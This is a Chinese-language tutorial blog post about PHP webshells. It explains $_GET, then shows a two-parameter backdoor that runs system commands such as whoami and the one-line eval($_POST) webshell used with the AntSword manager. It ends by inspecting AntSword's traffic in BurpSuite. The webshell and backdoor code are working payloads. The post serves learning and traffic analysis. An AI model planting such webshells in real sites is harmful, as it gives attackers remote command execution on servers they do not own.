在回答一句话木马是怎么玩的之前,先从最简单的_GET
来认识一下
关于一句话木马,其他角度的学习,推荐阅读
Web安全-一句话木马
从wireshark了解蚁剑的工作原理
_GET(PHP数组)
_GET
是一个数组_GET
的作用域是超全局,不需在脚本内部定义或初始化,即可使用- 接收从浏览器客户端GET方式(URL中)传递到服务器的参数
- GET传参的参数名做
_GET
数组的key
,参数值做为数组的value
- GET传参时,直接将参数拼接到URL中即可
举个例子来说明_GET
是怎么玩的
<pre> #标准化输出
<?php
$name="alice"; #初始化一个变量
echo "Your name is {$_GET['name']} " #输出
?>
直接访问是会出错的,因为我并没有给name传参
通过给name传参来查看返回结果(上述第三条内容)
后门
能看明白上面的内容,就来看一个简单的后门
<pre>
<?php
$_GET['a']($_GET['b']);
?>
直接访问是会出错的
通过给a,b传参来查看返回结果
此时就已经创建了一个简单的后门,我可以在里面执行命令了。
把URL里面的参数翻译一下就是用php执行命令:system(whoami)
一句话木马
再看一个很简单的一句话木马
<?php @eval($_POST['777']) ?>
@
表示忽略报错eval
表示把字符串当作php代码执行_POST
是通过POST方法接收参数,这里选择POST是因为我一会需要使用中国蚁剑getshell,而中国蚁剑是POST传参的777
是传参的地方,相当于前面“后门”中的b,这里的777
又被称作webshell管理工具的“密码”
getshell
抓包分析
BurpSuite
1:中国蚁剑走本地8080端口(BurpSuite的监听端口),选择“保存”的时候蚁剑会提示重启,照做就行
2:BurpSuite关闭截断
3:在蚁剑中点开“虚拟终端”,然后随便输入一些命令
3:检查数据包
第一条请求和应答数据包
第二条请求和应答数据包
流量是怎么走的,在数据包里面可以看到,这里由于作者不甚熟知php,所以还不能完整解释语句是怎样拼接的,但可以确定是通过拼接成php命令的方式去执行的。
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/134373.html